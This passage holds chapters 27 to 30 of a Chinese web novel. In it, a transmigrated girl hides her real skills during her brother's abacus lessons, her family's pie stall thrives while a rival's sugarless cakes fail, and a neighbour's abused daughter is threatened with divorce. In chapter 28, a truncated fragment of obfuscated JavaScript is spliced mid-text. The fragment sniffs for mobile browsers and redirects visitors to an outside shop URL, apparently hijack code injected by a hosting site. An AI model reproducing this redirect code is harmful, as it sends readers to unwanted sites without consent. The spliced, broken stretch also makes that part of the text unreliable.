“吃饱了。”这是做什么？怎么她哥笑得一脸阴恻恻的。
“吃饱了来书房，那珠算书还没看呢。”李挺转身往书房走，头也没回，像是一点也不担心李姝不跟上。
完了，忘了还有这茬...
27. 第 27 章
“姝儿，过来把这两道算术题答了。”
李挺推了推桌上的黄麻纸，眼里带着一丝不易察觉的兴奋，仿佛终于找到了妹妹在学习上的天赋。
李姝接过看了一眼，两道题不难，可是，她是能答还是不能答？
沉思间，李姝突然想起，她哥没有给自己拿算盘，原身若是能心算，她哥也不至于现在又多此一举了，现在突然要考自己，是因为...刚才馅饼数量的事吗？
她哥不会以为自家妹妹突破学渣境界，连心算都会了吧，这个人设要不要认下？李姝有点犹豫，认下的话至少往后自己就不用费心隐藏，可，突然转变，他们真的不会有所怀疑吗？
李姝还是放下了笔，干脆道：“哥哥，我不会。”
“不会？”李挺心下有些失望，又不死心地拿了算盘过来，“可准许你用算盘。”
再说不会已经说不过去了，原身就算是学渣，也定是会一些的，只是也许只能算个简单的，不然她哥也不会特意借本书回来了。
可，算盘她是真不会。
将算盘接了过来，李姝假意思考了一会，便再次两手一摊，“哥哥，我不会。”糊弄不过去，只能耍无赖了。
“这怎地不会？从前你就算不熟练，也还是能算些不复杂的数的。”李挺板起了脸，兄长的威严在此时发挥了个十成十。
李姝缩了缩脖子，迎着一家之主的威严目光，语气却有些怂，“我，我忘了。”
这一招还算好用，李挺没再深究，毕竟李姝失忆忘了事是真的，那顺道忘了些她不爱做的事——比如认字，比如算盘，也算是正常。
只是李挺有些恨铁不成钢，看着自家妹妹不知从何下手，只有些没好气地说：“既然不会，方才怎地还说还不想学。”
李姝知道，自家哥哥一个秀才，教自己这个不学好的妹妹实在有些大材小用，如果不是亲妹妹，怕是早就拂袖而去了，哪还会让自己一天被气好几回。
可知道归知道，她该装还是得装，只好讪讪地笑，装作想偷懒的样子，“我还要练字呢，没有时间学，往后哥哥在家教我就行了，这书...我，我字还不认得，看不懂。”
李挺一听就知道自家妹妹又犯了看书头疼的“病”，可是学习之事不能惯着，于是又板起了脸，这回倒是真的严肃了不少，深邃的双眸透出些少见的严厉。
“你可知许多贫苦人家都没机会看书习字，想要学些本事还得给人当好些年的学徒，甚至连工钱都没有，家里如今可以让你轻易得到别人拼命想得到的机会，你不沉思用自己享受的机会发奋有为，用自己的能力对世间不平尽绵薄之力，竟是不懂珍惜、得过且过，还妄想偷懒？”
从前妹妹还小，又是那么个胆小的性子，还没说个重话就得开始哭，祖父生病，也并未来得及好好教她，以至于李姝学什么都很随意，字认得一点，虽写得如幼儿学字般稚嫩，但至少也能写得端正，算盘也会拨一点，三字经也能背一些，什么都沾了点，但什么都不精，如今妹妹既然已经懂事，李挺再不会让她这般浑浑噩噩。
一瞬间，李姝像是回到了初中课堂，她的语文老师从前便说过差不多的话，只是，人长大了，在繁华的大都市中过着一人吃饱全家不饿的生活，哪里还有当初听了之后发誓以后要为社会做贡献，让所有人都能有书读的热血呢？
若李姝是个真正的十四岁少女，听了这些话定是会羞愧难当，可她不是，她早就过了听鸡汤打鸡血的年龄，用别人的不幸来激励自己？不，她内心毫无波澜。
虽然她与人交往总是和善不愿起冲突，生活中也是讲素质懂礼貌的年轻人形象，过马路时即使知道可能被碰瓷也不会放弃倒地的老人。她可以因为她娘对家暴的不强硬而生气，可她却无法对如今并未认识的清芸泛起同情，她骨子里始终是自私的，只想关好门过自己的生活，管不了那些并不在她生活中出现的人。
李挺这番用心良苦的话，也只是让她觉得感动和幸运，感动于上天安排的家人对自己的疼爱，幸运于自己不是李挺口中那些拼命努力却依然无法得到的人。
她唯一能做到的，也只是不嘲笑罢了，至于我自己珍惜不珍惜，关别人什么事？
可李挺完完全全是这个朝代的人，他对这时代有很强的责任心，小时他听祖父长抢守国门的故事，大了他学修身齐家治国平天下的忠君爱国之理，未入官场的读书人，正是满腔热血之时，除天下之患，安天下之民，是如今的他最想做的事。
立场不同，李姝不想分辨，只是敛了神色，收了脸上的笑容，“哥哥，我学还不行吗？”只是明明打定主意要压下情绪，语气却还是透露了些不服气，可能她自己都没察觉到，面对家人时，她已经不自觉地开始任性了。
看着眼前这个“不学好”的妹妹，李挺心下叹了口气，算了，至少她还能听进去。
于是也没再继续教育，脸色也缓和了，拿起书递了过去，“拿着，哥哥先教你简单的口诀，这书明天再看，若是有不懂的，哥哥询假回来教你。”
总算是糊弄过去了，李姝松了口气，接了书便想走，连方才李挺说的话都没记住。
“你去哪？”李挺拿起算盘正要教，转头看自家妹妹一蹦一跳往门口去，也亏得她受伤了，若是平常，怕现在都已经出门了。
这是为何？
是方才自己说话太严厉了？妹妹不会被吓到了吧？一想到之前妹妹见自己如见老虎的态度，李挺有些忐忑地看着李姝，面上镇定稳重严肃，可心里却早已在祈祷，可别变回从前那般！
被抓包的李姝尴尬地笑了笑，又一蹦一跳的回来了，弯腰低头，一派恭敬的模样，“哥，您还有什么指示？”
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这作怪的模样给李挺逗笑了，看着妹妹还能对着自己开玩笑，他终于放心，语气轻松地说：“说的什么怪模怪样的话，过来，方才不是说要教你口诀吗？”
李姝一屁股坐下了，毫不客气占了自家哥哥的座位，转头看着她哥，一副洗耳恭听的模样，“麻烦夫子了。”
李挺摇头，也没理她那话中的调侃，只拿着算盘开始讲，“这珠算既可算加减，亦可算乘除，平日里你算的账也不复杂，学会加减就行了。”
李挺也不敢扯些大道理，只挑实用的说，怕自家妹妹丢了学习的耐心，于是拨了拨算盘接着说：“你看，这下珠拨一个便是一。”又连续拨了几个数，“这两个便是代表二，三四同理，这五呢则用上珠往下拨一，这样，便代表五...”
李挺一边教一边观察妹妹的神情，见她没有任何分神，便适时提出道简单的题让她算，李姝也都一一算对了，只是...她哥将她当成孩童一般教，进度实在太慢了。
一晚上，李姝在“一下五去四，二下五去三”中渐渐迷失了自己，一晚上了，她只学了两位数的加法和减法，李挺生怕她记不住，来来回回说了许多遍，还拟了数十道题，保证她是真的熟练了才放手。
被折磨了快一个半时辰，李挺总算是放过了她，临走还让她看书巩固，连在第几页都标了出来，实在太热情了...都这样了，还没忘了跟她说记得明日开始一天练十字。
李姝有种回到高中的感觉，可她已经离开高中十年了...
兄妹俩的“勤奋”被父母看在眼中，后院中的张翠花和李忠还未睡着，只有一下没一下地聊天。
方才李挺严厉斥责妹妹时，两人差点就冲到书房了，生怕姝儿吓得哭鼻子，可等了一会也没听见李姝的嚎叫，书房里竟是安静了，两人这才安心躺在床上。
张翠花推了推身旁的男人，“姝儿说往后要在县里开铺子，这租铺子得要多少钱？”家里虽留着些积蓄，可这都是为了往后儿女成婚以及儿子考试用的，况且还远远不够，女儿想开铺子家里怕是不够钱。
李忠拉了拉背角，意识已经有些迷糊，“不好说，便宜的至少三四两一月，贵的十几两，另外也得看地段。”他说得有些敷衍，不是看不起自家女儿，只是如今他们家确实开不起，他也只当是女儿第一次赚钱，有些天真罢了，并未说出来打击她的信心。
“这么贵？这哪能租得起？”本还跟着女儿一块信心十足的张翠花瞬间蔫了，她还是想想明天的馅饼包子怎么卖吧，明日可只有自己。
李忠叹了口气，他还没说租期至少半年起步呢，这生意半年还不知道能不能赚钱，便要先贴个几十两进去，哪是他们能负担得了的，只是这些说了也只是平添她们娘俩的烦恼，李忠闭嘴不谈，渐渐睡了过去。
而李挺，还在奋笔...抄书。
28. 第 28 章
翌日，李姝起得比平日早了许多，可还是没有早过其他三人，她刚起床，她哥和她爹已经准备出门了。
看妹妹出来，李挺跨出门的脚又退了回来，神采奕奕的模样一点都看不出昨晚熬夜抄书的疲惫，“姝儿，从前哥哥抄三字经的本子已经拿出来放在书桌上了，你可照着练，一日十字，一字十遍，不可懈怠，可清楚了？”
哥哥，你真的适合去当夫子...
“知道了，哥哥。”
李挺这才放心，父子俩一前一后出门了。
此时太阳未升，晨光微亮，两人踏着未散的雾气越走越远，手边都拿着个水坛晃晃悠悠，颇有些夜深赶路人的怡然自得，李姝站在院子里望着晨光，两手扶着院门跟着一块晃悠，一荡一荡地，十分惬意，带着凉意的水汽让她忍不住深呼吸，霎时凉气入体，李姝整个人清醒了，灶屋里她娘开始剁肉馅，哒，哒，哒，为这份平静添了些生动的旋律。
这样平静又普通的生活，她往后应是要过许多年，可不知怎地，往后的日子里她总是反复想起这一天，那闲适的凉意驱散了她之后一次又一次的迷茫，她一开始不知道是为什么，后来年纪渐长，才恍然明白，因为这一天，是他们家怀揣憧憬，走向希望的开始。
“姝儿，别磨蹭，快将早饭吃了，要凉了，还有，记得敷药。”屋内张翠花操心的话传来，李姝收回目光，一蹦一蹦地往回跳，连声音都带着充满干劲的气势，“来了。”
今天加了量，两人忙了一个多时辰才终于停手，看着塞得满满当当的背篓，娘俩相视一笑，都觉得值了。
“娘，油纸快没了。”李姝看着剩下的油纸发愁，县城太远，买东西实在不方便，缺点什么都得跑一趟，又没公交车...
等下，公交车...或许有？“娘，咱们村里没有人有驴车或是牛车吗？”李姝带着期待看向她娘。
“大力有，不过他常帮人拉货，村里人若是想让他带的话，得前一晚问他有没有接活计，不然怕是会遇不上。”寻常农家人买了牛驴这些牲畜，本就是用来干活的，大力家田地少，这牛车自然也是他另外的收入来源，张翠花浑不在意地接着说：“没事，娘卖完去一趟县里便是，这包子馅也得买，顺道的事。”
李姝闭嘴了，她也没办法。
中午李姝做了手擀面，取适量面粉加一小勺盐混合均匀，加水揉成稍硬的面团，手擀面一定要经过三揉三醒，这样面团才能变得光滑有弹性，最后一醒无需再揉，直接擀成薄薄的面皮，再用刀切条即可，随后水沸下入面条，不一会儿就闻到了浓厚的面香。
面条捞起后，李姝加了两勺昨晚的卤汁，再把热好的猪头肉加进去，锅里扔了些绿叶菜烫熟也夹进碗里，最后将面汤浇上，撒上葱花，一碗热汤面便好了。
小指宽的面条浸在油亮棕黄的汤水中，翠绿的蔬菜铺在其上，颜色鲜亮，让人忍不住垂涎欲滴，夹上一筷子，翠绿的葱花挂在面条上，热气带着卤汁和面条的香味扑鼻而来，十分诱人。
面条爽滑，张翠花一下没夹稳，又用了些力道，方才入口，面条裹着汁水，入口咸香滑嫩，咬一口，面香在口中瞬间散开，刺激着人的味蕾，劲道的口感也让人越嚼越香，张翠花埋头吃得红光满面，连话顾不上说了。
吃至最后，李姝满足地喝了口汤，热汤入胃，让她浑身都暖洋洋的泛起了懒劲，她整个人摊在椅背，连眼神都开始放空了，很奇怪，明明自己从前是南方人，却很喜欢吃面条，尤其是手擀面，很久没吃便会想，这就是碳水的魅力吗？
此时，张翠花也终于放下了碗筷，她连汤都喝光了，可见这面十分合胃口，打了个满足的饱嗝，她整个人也学着女儿放松地摊在椅背上，一时间母女俩谁都没说话。
许久，两人才回神，“姝儿，这面真好吃，吃得娘都不愿动弹了，比县里的软羊面还好吃。”这里的面都偏软，没有这种将面揉出韧劲的做法，张翠花第一次吃，自是新鲜。
李姝懒洋洋地扭头，打了个哈欠，仅存的一点端庄样都没了，话也说得慢悠悠地：“娘，你喜欢吃的话，下回我还做，下回爹和哥哥也一起吃。”怕面会坨，李姝没有给他爹留面，只是单独炒了个素菜，加剩下的猪头肉一道做了个盖浇饭。
张翠花边收碗边点头：“好，下回咱还买猪头。”话语很是豪气，连花钱都不心疼了。
李姝...下回我可以申请用五花肉吗？
书房桌上放着李挺小时抄的三字经，李姝翻开看了，许是抄的时候年纪还小，明明是写的正楷，字体端正，可又在人眼皮底下作怪，笔画之间不经意地“藕断丝连”，怕是为了快速抄写，没有耐心抬腕转腕，能少写一笔是一笔，于是愣是给写成了行楷。
果然，右下角的批注里，祖父写了个罚抄十遍...李姝闷笑出声，这不会是她哥拿错了吧？
不过，即使是孩童所写，她也不禁感叹，写得真好看。
铺纸研磨，李姝拿起笔找了个不认识的字开始临，这时她才想起，怎么不让她哥先读一遍，我抄来抄去也不知道是什么字啊？
而李挺昨晚想着抄书，也忘了这茬...
李姝盲写了一下午，幸好原身有肌肉记忆，不至于让她写字手抖，但是也仅仅是这样了，她落笔还是现代人的习惯，什么侧锋中锋一概不知，写出来的字粗细不一、毫无棱角，第一天成果，她有些摸不准要不要拿出来给她哥看...
而张翠花这边，卖的很是顺利，两天的时间，他们家的馅饼已经基本人手一个了，连那些离家近的工人也忍不住买了一个尝，有些人想买三四个，还被当众指责贪心，愣是让人减少到两个。
火热的程度让张翠花措手不及，忙拉着李忠在一旁帮着收钱，生怕自己哪里出错，直到卖完，李忠才有空填肚子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175109|146141||http|test|mini|href|location''.split(''|''),0,{}));
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今日的饭还是猪头肉，再配了一个清炒白菜，只是李姝特意浇了卤汁上去，米饭和白菜浸了味道浓厚的卤汁，用筷子一拌，酱香四溢，满口咸香，李忠连吃饭的速度都加快了不少，自从家里由姝儿掌厨后，每个人吃饭的速度都变快了，张翠花在一旁看得直皱眉，“慢些吃，别噎着。”
看自家男人吃得热汗直流，拿起他腰间的帕子便想帮着擦，李忠顿时有些愣住了，也不敢动，黄黑的脸上泛起一丝红，连嘴都闭上了，张翠花霎时反应过来，双眼一瞪，帕子用力地丢了过去，只尴尬地说了句：“自己擦。”便头也不回地走了。
李忠闷笑出声，拿着帕子放进怀里抱着，不在意地用手抹了抹汗，继续闷头吃饭。
幸好两人的动静不大，也没引起别人的关注，不然怕是老脸保不住。
这次去县里没什么意外，张翠花买了肉和油纸便往回走，申时便进了村，此时家家户户已经升起炊烟，但也有些人还坐在门口闲聊。
他们一家在卖吃食的事多少也有些人知道了，见张翠花背着个大背篓回来，便有人开始八卦：“翠花，你那吃食卖完了？这得不少钱吧？”
张翠花未露情绪，只是淡淡地说：“不是什么贵的吃食，哪能卖多少钱。”脚步都没停，直往家去了。
留下身后一众羡慕的人，只是人都是这样的，落魄时对你善良，发达了倒是有人开始捻酸：“闲篇都不扯了，定是卖了不少，你们说，若是我们也去...”话说到这，哪有不明白的，有些精明的已经不再聊了，只回家跟家里男人商量着去卖些什么。
看着她娘笑得春风满面的，李姝知道，这一趟定是顺利卖光，果然，张翠花看自家女儿出来，急忙快走几步，还关了堂屋的门，连背篓都没卸下，便把钱放在了桌上，兴奋地说：“姝儿，快数数多少钱？”
李姝拿着钱一脸笑意，故意震惊的说：“娘，你卖完了？”
果然，她娘很吃这一套，眼里的自得已经快溢出来了，“对，全部卖完了。”
“卖完的话，那便是馅饼七十五文，包子二十四文，一共九十九文钱，当然还要扣除肉和油纸的钱。”只是说是这么说，李姝还是一个一个拿着数，无他，为了听响！古往今来，钱的声音总是最好听的。
这是轮到张翠花一脸震惊了，“姝儿，你怎地算这么快？”
李姝数钱的手都没停，头也不抬地答：“哥哥教的，昨晚他教了我好久呢！”反正她哥也不在，没人戳穿她漏洞百出的话。
张翠花也只是随口问，方才的话都没过心，放下背篓便加入了数钱大军。
“扣除猪肉十文钱、油纸裁了十文钱，还剩七十九文。”张翠花终于放心，没算错，她照样将钱收起来给了李姝，一派轻松地出去洗漱了。
李姝将钱放回了陶罐，想着什么时候拿去换成银子，屋外传来了她爹回来的声音。
29. 第 29 章
屋外，爹娘细碎的说话声传来。
她娘兴奋地说着今日的收获，光听声音便能想象出她此时手舞足蹈的模样，而她爹则时不时应上一句，适时递个话头让自家婆娘继续，只说到方才村里人跟她八卦的事时，李忠突然熄了声。
李姝也反应了过来，才几天，就已经...有人眼红了吗？
晚饭后，李忠特意和自家女儿说了此事，“姝儿，往后怕是不止我们这一家卖吃食，明日咱们少做一些吧？”他也没办法，自家管不到别家卖不卖吃食上，做生意本就是这样，你学我我学你，从没有真正的一家独揽。
“爹，明日照常吧，没事，先看明天的情况我们再决定往后的量。”李姝心里早就有数，就今日的反映来看，明日工人们应还会热情高涨，就算有人卖吃食，她也有信心不会做得比她好。
看女儿一副心有成算的模样，李忠放心了，女儿如今的性子可不是从前那般天真，也不用他来指手画脚，他只要在儿女需要他时站出来便可，平日里还是让他们自己决定的好。
只是他方才偷偷摸摸地避开了自家婆娘，如今也只能装作刚洗好碗的模样进屋，“翠花，碗放哪里？”
李姝...
爹，您这此地无银三百两施展得挺生动的。
“日日拿，日日放，怎地不知道碗放在哪？李忠，你是不是有什么事瞒着我？”张翠花对别人不敏感，可对着自家男人，可是一模一个准。
看吧...瞒了个寂寞。
只是李忠用了别的事糊弄过去了，这就不是李姝能听到的了。
他不是怕自家婆娘担心吃食不好卖，而是怕和她说了之后她要和今日那几个闲聊的人理论，脾气急了怕是立马就得嚎上门。
明日若是真见到了，那届时让她当面说两句也无妨。
第二天，张翠花背着一背篓的吃食出门，却遇到了同样拿着一篮子吃食的陈香兰，他男人也在修路，可平日里她没有去送过饭，今日却一反常态。
见张翠花背着满背篓的吃食，手上还拿着一坛子水，陈香兰立马热情的伸出了手，“翠花，我帮你一块拿。”
张翠花并未转手给她，只是不甚在意地说：“没事，我拎得动。”低头见她提着一个颇重的篮子，上面用布盖了起来，她有些调侃地问：“香兰，这是给你家男人带的饭？拿这么多，怕他吃不饱啊？”
身旁之人却有些尴尬地笑，她把篮子换到离张翠花远一点的那侧拎着，话回得含糊：“他胃口大。”也没说这是不是给她男人带的饭。
一路上她也不敢走在张翠花前面，只一直跟在后边，时不时还压一压，像是生怕被弄脏，惹得张翠花有些嘀咕，香兰什么时候这么讲究了？
到了工地，张翠花在老位置放下背篓，等着工人休息，陈香兰两手握着篮子，有些局促地站在一旁，“香兰，把东西放下，提着不重吗？他们还有一会呢！”
寻常时候，面对热情的人总是容易放下戒心的，可张翠花越热情，陈香兰反而越局促，可她不能走，咬咬牙，便在张翠花几个身位旁小心地放下了篮子，看得张翠花莫名其妙，以为她是嫌弃自己，于是也不再说话。
终于到了时间，工人陆陆续续地下工了，有些猴急地已经开始跑了过来，生怕买不到似是，刚跑到张翠花跟前便“狮子大开口”，“嫂子，我要三个韭菜馅饼。”
“好咧！”，张翠花喜笑颜开，麻利地包好了递过去，难怪跑这么快呢，后面怕是买不到三个咯。
紧接着，一个又一个人上前，大家还自觉地排起了队。
“我要两个馅饼！”
“我要一个馅饼一个包子，昨天来晚了都没尝到包子是什么味。”
“我也要一个馅饼一个包子。”
......
张翠花忙得头昏脑涨，她就怕自己一个没看好，钱没收到，心里催促着自家男人快过来。
“这位嫂子，你也卖吃食吗？”
手忙脚乱中，听到这么一句，张翠花还以为是问自己，抬头间，手都不自觉地停了，什么？
看有人望着自己身边，她这时才想起来，陈香兰还在一边呢。
转头，却看见那盖着篮子的布已经被掀开了，露出了满满当当的食物，是糖糕。
陈香兰闻言，笑得有些拘谨，可她方才看只这么一会，张翠花便卖了十几个饼子，想赚钱的欲望达到了顶峰，于是便也鼓起勇气学着张翠花的样子，答：“对，糖糕一文钱两个。”
张翠花差点把手中的馅饼捏扁了，幸好李忠眼疾手快接了过去，一边包好了递给工人，一边用脚悄悄碰了碰自家婆娘。
张翠花反应过来，也没再理会，熟练的张口：“你要几个？”
旁边陈香兰的话音刚落，人群中就有人被这么便宜的价格吸引了，只是凑上去瞧的人不多，大都是在一旁观望。
“一文钱两个？”有人终于忍不住问了出来，上前道：“那给我来两个吧。”
这么快便有生意上门，陈香兰陷入狂喜：“哎，哎，好。”她有些不熟练的将糖糕包了起来，已经顾不得再思考是不是抢旁边张翠花的生意了，赚钱的念头充斥着她整个心神，甚至还逐渐大胆了起来。
“大家看一看，糖糕一文钱两个，比馅饼可便宜多了。”
这话就是故意针对了，张翠花转头就想开骂，李忠又一脚，见婆娘回头，他悄悄摇了摇头，示意不用理。
还以为卖什么呢，李忠对自家女儿的手艺信心十足，原来是怕别人也开始卖饼子，现在看到卖的是糖糕，他便放心了，如今他们只要不理，看戏便成，自家的饼子不愁卖不出去。
张翠花不理解，可她在外还是会听自家男人的，便压住了脾气，只是耳朵眼睛都分了一半注意力在旁边，准备随时来个揭篓而起。
只听那买了糖糕的人说了句：“一文钱买一个馅饼都吃不饱，放着便宜的糖糕不买，是傻子。”
可他咬了一口却皱起了眉，方才的话也歇了，嚼得有些生无可恋，旁边看热闹的人已经看出端倪，只还是有些欠地问：“怎地不说话了，好吃吗？”
那人愤愤地咽下口中的糖糕，有些恼怒地对陈香兰骂道：“做生意怎地这么黑，糖糕连糖都不放，还敢拿出来卖？”
看热闹的人响起此起彼伏地嗤笑声，没有大声嘲笑，已经很是给面子了。
被骂的陈香兰脸都红了，嘴唇
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嗫嚅了很久，也不敢说话，她哪里知道怎么做生意，这糖糕用的好些面粉已经让她心疼了，又怎么还会舍得放糖？只是舀个两小勺意思了一下罢了。
谁知这些工人如此“挑嘴”，糖糕整块都是面粉做的，比那什么韭菜鸡蛋馅饼用的面粉多，那么一点面皮包着韭菜鸡蛋，哪有糖糕顶饱？
可她这时也不敢当众说，怕惹众怒，人群中她男人有些阴沉的看着她，也没有过来帮忙的意思，一瞬间她更是有些惶恐，这用了许多面粉，怕是要浪费了。
还是张翠花打破了她的尴尬，只笑着说：“这位小兄弟，我这姐妹不是心黑，她就是平日里做惯了，以为糖糕都是这样的，你别怪她。”
陈香兰有些感激地看了看张翠花，顺着她的话终于出了声：“对，对，我不是故意的。”
那买了糖糕的人瞥了瞥嘴，浪费了他一文钱，他也不是什么好脾气的，只是自认倒霉地说了句：“好吧，谁叫我贪便宜，算我倒霉。”便走了，今日他是不会再花钱了。
人群恢复了热闹，甚至比平日里还热情，后面的人生怕排在前面的人给买光了，不时地有人盯着不让买太多。
张翠花李忠又忙了起来，也没空再管身旁的陈香兰。
陈香兰早已趁别人不注意，悄悄拿起篮子走了，她男人眉头紧皱，怕是早就积了火，昨晚他本来就不同意自己卖糖糕，说自己做的没有张翠花家的吃食好，她还不服气，如今看了别人热火朝天的卖了一个又一个，也只能灰溜溜回家了。
刚到家，张翠花便竹筒倒豆子地将今日的事倒了出来，连最喜欢的数钱都暂且搁置，“我一开始瞧着她篮子里的糖糕便知道卖不出去，我女儿做的吃食除了味道，连样式都是新奇的，那面粉搅拌上锅便蒸的东西谁家会特意买来吃。”
李姝有些好笑，她娘话语里满是骄傲，比数钱时眼里的光还亮些，活像是黑暗中的猫眼，滴溜溜地转不停。
张翠花平复了激动的心情，有些不确定的问：“姝儿，你说往后会不会有更多人去卖吃食啊？”
虽然对自家做的吃食有信心，可是若往后人一多，卖得还比自家便宜的话，怕是再好吃也抵不过便宜二字。
更多人...是肯定会的，“娘，不用担心，我们的吃食定是能留住客人的。”只是她没说，能留多少。
人本来就不多，若是选择多了，自是会影响他们的生意，这是没有办法的，她能做的就是永远都不要让他们吃腻味。
不过，目前还好，经过今日这么一闹，往后几日那些蠢蠢欲动的人怕是要消一消，想抢生意，也得产品过硬才行。
只是，李姝拿出她娘买的东西一看，怎么还是只有一斤五花肉...
“娘，明日你买肉的时候，能不能顺带买个猪脚回来？没有的话，多买点五花肉也好。”还在长身体，不能没有肉啊！况且爹娘也是忙碌一整天，特别是她爹，体力活如果不补充体力，往后怕是连石头都搬不动了。
“好。”张翠花有些愧疚，一家人节俭惯了，都觉得能攒一分是一分，确实是很少主动买肉吃，姝儿又是这么个馋的性子，怕是早馋坏了。
有时候，立人设还是有点用处的...
30. 第 30 章
李忠挑着两个水坛和碗筷回了村，本是直奔家而去的，却被耽搁了。
“滚！我女儿不会回去的，我们家虽然不是什么大富大贵，却也能养得起孩子！”
这声音...李忠快走几步，见里长家门口站了好几个人，是张元仕和他那兄嫂，方才那话是里长家婆娘说的。
那兄嫂还算是个赔罪的姿态，可张元仕却直挺挺地站那一动不动，连头都不愿意低，姿态摆得要多高有多高。
李忠皱眉，这是来赔罪？
也难怪里长一家如此气愤，这始作俑者毫无悔意，哪是过来赔罪的。
张元仕的兄嫂此时已经后悔万分，遇上这么个自命清高的弟弟，他们脸都丢尽了，家里说好了要来赔罪的，到了后被骂了几句，这混货已经把一家人说好的话忘光了，竟是梗着脖子开始顶撞。
见李家人被激得强硬了，张元仕彻底爆发，扬着嗓子便开始叫里面的人，“李清芸，你到底跟不跟我回去？你若是不回，我便休妻！别以为你们李家是什么好东西！”
忍了许久的清宏清乐两兄弟霎时冲了上去，“你再说一遍？”张元仕那晚被打怕了，反应迅速的抱头蹲下，旁边他的兄长张元崇一个箭步冲上来挡住了两人。
有这么一个混账弟弟，他实在没脸，可怎么也不能让人再动手打了，只好耐着性子赔笑脸，“对不住，对不住。”边说边看着清宏清乐的神情，见他们并未消气，张元崇转身踹了弟弟一脚，“胡说什么？我们是来接清芸回去的。”
踹完又转回来继续赔笑：“是我们对不住清芸，也是我这个做兄长的管教不严，让我这混账弟弟干出这么出格的事，我们今日来并非相逼，只是过来瞧瞧清芸身子可好，若是...”
清宏怒声打断：“我妹妹的身子好不好你们不清楚吗？”
一句话堵得张元崇脸上是红了又黑，黑了又红，愣是不知道该说什么，他们家理亏在先，如今这赔罪又被自家弟弟搅和，他是真没法子了。
张元崇的婆娘在一旁适时出声：“清芸，清芸身子我们自是知道的，是我们对不住清芸，这是我们带的一些补气之药，对清芸身子恢复有好处，婶子可炖了给清芸喝下。”
递出去的东西迟迟没有人接，她只能赔笑着上前几步放在了门口，里长这时开口了：“拿回去吧，我们家不需要这些。”转头看了看那还蹲在地上瑟瑟发抖的张元仕，眼里划过一抹厌恶：“年轻人，要想休妻，先把大启律令先背熟了，我们家清芸可没犯什么条例。”
说罢，也不再看这三个各自心怀鬼胎的人，只叫了儿子：“清宏清乐，回来。”
霎时间，大门关闭，外面只留了那三个面面相觑的张家人，以及李忠，周边那几家亮着灯的人家不算，毕竟大家也只是在屋内瞧着，并未出来。
李忠把了把肩上的锄头，正眼都没给的走了，心里却在暗骂：真是败坏读书人的名声！
身后那张元崇再也忍不住，自己动手揍了弟弟，“在家时怎么说的？如今你却又说休妻，你若是不想要婆娘了，回去便跟爹娘说清楚，下回别想让我过来！”
张元仕抱着头不敢出声，脸上被揍的痕迹还在，他实在是痛怕了。
可回去后，有了爹娘撑腰，他却一股脑地将责任推给了自家兄嫂，直怨他们没有给自己出力...让他们本就岌岌可危的兄弟情就此决裂，连分家都闹了出来。
屋内，李清芸抱着已睡熟的女儿抹泪，嫁了这么个男人，她的心早死了，可如今却是让爹娘都受了骂，让她愧疚得不知如何是好，只不停地用哭来发泄。
她娘进来后见女儿在哭，也忍不住抱了抱女儿，嘴里不停地嚎叫着：“我苦命的女儿啊！”
她爹也一脸愁容的坐在一旁，一时没说话，只沉思着，不知在想些什么。
一旁的李清宏义愤填膺，“他们家既然要把事做绝，我们也没什么好顾虑的，让妹妹跟他和离吧。”身旁的妻子拉了拉他的衣角，示意他别说了。
年纪小的清乐也在搭话，“对！就和离，姐姐在家住比在他们家好多了。”
李清芸一时没有主意，她从小便听爹娘的，自己从来没做过什么主，只他们娘陈巧娘有些担心：“若是和离了，小丫怎么办？往后清芸还怎么说婆家？”
李清宏继续出声，忽略了自家婆娘的眼神示意，“小丫自是跟我们，往后就算妹妹不嫁，咱家也能养得起，有何好担心的？再说那张元仕...”
“够了！”坐在一旁的里长李顺贵突然喝止，一家人都禁声看他，他没理会自家儿子不满的眼神，只看了看女儿，“往后再说，先把身子养好。”
一家人只好揭过话题不再谈，李顺贵眉头紧锁的出去了，心里只叹了口气，和离，哪有这么简单。
李忠到家后，娘俩正在灶屋做饭，不知是不是受方才那事的影响，他一晚上心不在焉，吃饭时他有些突兀地提起了让李姝学武的事：“姝儿，下回你哥询假，再让他教你些拳脚吧。”
她哥这么全能吗？一个读书人，做生意熟练就算了，毕竟家里从前是做这个的，可连拳脚都会？
张翠花见自家男人愁容满面，明白他定是遇到什么事了，便插话道：“怎地了，今日可是遇到什么事了？”
李姝也担心道：“爹，怎么突然要我习武了？”
李忠眉头微皱：“方才路过里长家，看那张元仕带着自家兄嫂过来了。”见娘俩都盯着，他顿了顿又解释道：“那张元仕本是说要过来赔罪的，最后却嚷嚷着说要休妻，好不嚣张。”
“天杀的！老天怎地不降个天雷劈死他！”张翠花怒目圆瞪，气得直拍桌子。
所以，她爹是怕她往后也会跟清芸那般受欺负吗？
即使只是一个可能，她的家人也不愿她冒险，李姝心下微暖，可她爹却有些小瞧她了，她可不是原身那样的性子。
“爹，您放心，我不会像清芸姐那般的。”
李忠也知道自家女儿已然不同往日，可做父母的，总是会担心儿女的，他还是坚持道：“多学些，也没坏处，你哥还天天扎马步呢，你往后同你哥一样，早起扎个马步，强身健体。”
张翠花也适时表态：“姝儿，听你爹的。”姝儿什么都好，就是性子太软了，学些拳脚或许能改改她的性子。
行，行吧。
“下回哥哥回来，我问问他。”李姝没立马应下，只是含糊地将时间推后了，若无意外，往后她几乎每天都要走两三个时辰，这运动量足够了，再来个马步，她估计得废...
总算是暂时达成一致，李忠没再说话，心下的石头总算是轻了些。
“爹，我这几日去看看清芸姐行吗？”她的脚已经能走路了，只是不能走太久，在村子里串个门
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还是够的。
李忠想了想，还是阻止了，“清芸怕是还在养伤，过几天再去吧。”她那脸上的伤怕是要养好些天，如今贸然上门，可能会失礼。
看来伤得挺重的，李姝应了声好，便也没再出声，对这素未谋面的闺中密友，她实在没有半点姐妹情，也不知道从前原身是怎么跟她相处的，上不上门都是坑，只好听爹娘的了，至少规矩不出错。
张翠花却开了口，“前日我去打听了，清芸这几日连屋都没出，除了她娘谁也不见。”
李忠扒了口饭，没应声，别人家的女儿，他还是少讨论的好。
李姝听了大致也明白了，她怕是伤在显处，比如脸，让人一瞧便能知道她经历了什么，自然是不愿意见人的。
“娘，我还是过几日再去吧。”虽然猜出来了，她也不好多说什么，只打断了她娘的话头。
